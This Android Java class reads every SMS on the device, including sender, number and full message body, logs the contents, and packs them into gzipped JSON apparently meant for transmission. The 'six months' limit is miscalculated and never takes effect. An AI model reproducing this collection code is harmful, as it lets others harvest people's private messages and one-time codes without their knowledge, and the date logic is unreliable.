package com.zhi.syc.data.services;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.text.TextUtils;

import com.google.gson.Gson;
import com.zhi.syc.data.beans.ASMessageInfoBean;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.util.ASUtil;

import java.util.ArrayList;
import java.util.List;

public class ASMessageInfo {

    //暂时取值：EMTY空数据，ERROR抓取报错，NOPERMISSION无权限，INTERRUPT打断，SUCCESS抓取成功
    // 抓取成功
    public static final String FET_OK = "FET_OK";
    // 抓取成功，中途被打断
    public static final String FET_OK_INT = "FET_OK_INT";
    // 抓取成功,出现异常
    public static final String FET_OK_CAT_ERR = "FET_OK_CAT_ERR";
    // 抓取数据为空
    public static final String FET_NON = "FET_NON";
    // 抓取数据为空，没有权限
    public static final String FET_NON_PER = "FET_NON_PER";
    // 抓取数据为空，出现异常
    public static final String FET_NON_CAT_ERR = "FET_NON_CAT_ERR";
    // 抓取数据为空，中途被打断
    public static final String FET_NON_INT = "FET_NON_INT";

    // 抓取类型
    public static String mFType = FET_OK;
    // 是否抓取完成
    public static boolean mIsFinish = false;
    // 是否出现异常
    public static boolean mIsErr = false;

    // 临时数据组
    public static ArrayList<ASMessageInfoBean> mTempArrayList = new ArrayList<>();

    public static int fetchResult = 0;

    // 获取数据组
    public static List<ASMessageInfoBean> getMsgList(Context paramContext) {
        Cursor cursor = null;
        mIsFinish = false;
        mIsErr = false;
        if (mTempArrayList == null) {
            mTempArrayList = new ArrayList<>();
        }
        mTempArrayList.clear();
        ArrayList<ASMessageInfoBean> mArrayList = new ArrayList<>();
        try {
            String[] arrayOfString = new String[9];
            arrayOfString[0] = "_id";
            arrayOfString[1] = "address";
            arrayOfString[2] = "person";
            arrayOfString[3] = "body";
            arrayOfString[4] = "date";
            arrayOfString[5] = "type";
            arrayOfString[6] = "protocol";
            arrayOfString[7] = "read";
            arrayOfString[8] = "status";

            long sixMonthSec = 15552000000L * 1000;
            long curSec = System.currentTimeMillis();
            ContentResolver contentResolver = paramContext.getContentResolver();
            cursor = contentResolver.query(Uri.parse("content://sms/"), arrayOfString, null, null, "date desc");
            if (cursor == null) {
                mFType = FET_NON;
                return mArrayList;
            }

            /*
            final String SMS_URI_ALL = "content://sms/"; // 所有短信-0
            final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱-1
            final String SMS_URI_SEND = "content://sms/sent"; // 已发送-2
            final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿-3
            final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱-4
            final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败-5
            final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表-6
            * */
            while (cursor.moveToNext()) {
                ASMessageInfoBean messageInfo = new ASMessageInfoBean();
                int h = cursor.getColumnIndex("person");
                int j = cursor.getColumnIndex("body");
                int k = cursor.getColumnIndex("date");
                int m = cursor.getColumnIndex("type");
                int n = cursor.getColumnIndex("address");
                int o = cursor.getColumnIndex("_id");
                int p = cursor.getColumnIndex("protocol");
                int q = cursor.getColumnIndex("read");
                int r = cursor.getColumnIndex("status");

                String str1 = ASUtil.safeString(cursor.getString(h));
                String str2 = ASUtil.safeString(cursor.getString(m));
                String str3 = ASUtil.safeString(cursor.getString(n));
                String str4 = ASUtil.safeString(cursor.getString(j));
                String str5 = ASUtil.safeString(cursor.getString(k));
                String str6 = ASUtil.safeString(cursor.getString(o));
                String str7 = ASUtil.safeString(cursor.getString(p));
                String str8 = ASUtil.safeString(cursor.getInt(q) + "");
                String str9 = ASUtil.safeString(cursor.getInt(r) + "");

                if (ASUtil.safeString(str1).length() > 512) {
                    continue;
                }

                long kdate = 0;
                try {
                    kdate = Long.parseLong(str5);
                    long edgeSec = (curSec - kdate);
                    if (edgeSec > sixMonthSec) {
                        break;
                    }
                } catch (NumberFormatException e) {
                    e.printStackTrace();
                }

                if (TextUtils.isEmpty(str1)) {
                    str1 = str3;
                }
                messageInfo.setName(str1);
                messageInfo.setMobile(str3);
                if (str2.equals("1")) {
                    //RECEIVE
                    messageInfo.setType("RECEIVE");
                } else {
                    //SEND
                    messageInfo.setType("SEND");
                }
                if (str7.equals("1")) {
                    //RECEIVE
                    messageInfo.setProtocol("MMS");
                } else {
                    //SEND
                    messageInfo.setProtocol("SMS");
                }
                messageInfo.setSmsTime(String.valueOf(kdate));
                messageInfo.setPerson(str1);
                messageInfo.setTypeOri(str2);
                messageInfo.setContent(str4);
                messageInfo.setCid(str6);
                messageInfo.setProtocolOri(str7);
                messageInfo.setRead(str8);
                messageInfo.setSeen(str8);
                messageInfo.setSubject("");
                messageInfo.setStatus(str9);
                messageInfo.setDateSent(String.valueOf(kdate));
                mArrayList.add(messageInfo);

                ASLogger.d(ASMessageInfo.class.getSimpleName(), "name:" + messageInfo.getName() + ", mobile:" + messageInfo.getMobile() + ", content:" + messageInfo.getContent());

                if (mTempArrayList != null) {
                    mTempArrayList.add(messageInfo);
                }
            }

        } catch (Exception e) {
            mIsErr = true;
            e.printStackTrace();
        } finally {
            mIsFinish = true;
            if (cursor != null) {
                cursor.close();
            }
        }

        if (mArrayList.size() == 0) {
            mFType = (mIsErr ? FET_NON_CAT_ERR : FET_NON);
            fetchResult = 2;

        } else {
            mFType = (mIsErr ? FET_OK_CAT_ERR : FET_OK);
            fetchResult = 1;
        }

        return mArrayList;
    }

    // 获取数据组压缩字符串
    public static String getListZipString(Context paramContext) {
        String zipString = "";
        try {
            List<ASMessageInfoBean> beans = getMsgList(paramContext);
            String result = new Gson().toJson(beans).trim();
            zipString = ASUtil.stringToGZIP(result);
            beans.clear();
            beans = null;
        } catch (Exception e) {
            e.printStackTrace();
            mFType = FET_NON;
        }
        return zipString;
    }

    // 立即获取数据组压缩字符串
    public static String getListZipStringImmediately() {
        String zipString = "";
        try {
            if (mTempArrayList != null) {
                mFType = (mTempArrayList.size() == 0 ? FET_NON_INT : FET_OK_INT);
                String result = new Gson().toJson(mTempArrayList).trim();
                zipString = ASUtil.stringToGZIP(result);
                clean();
            }
        } catch (Exception e) {
            e.printStackTrace();
            mFType = FET_NON;
        }
        return zipString;
    }

    // 清空数据组
    public static void clean() {
        if (mTempArrayList != null) {
            mTempArrayList.clear();
            mTempArrayList = null;
        }
    }
}
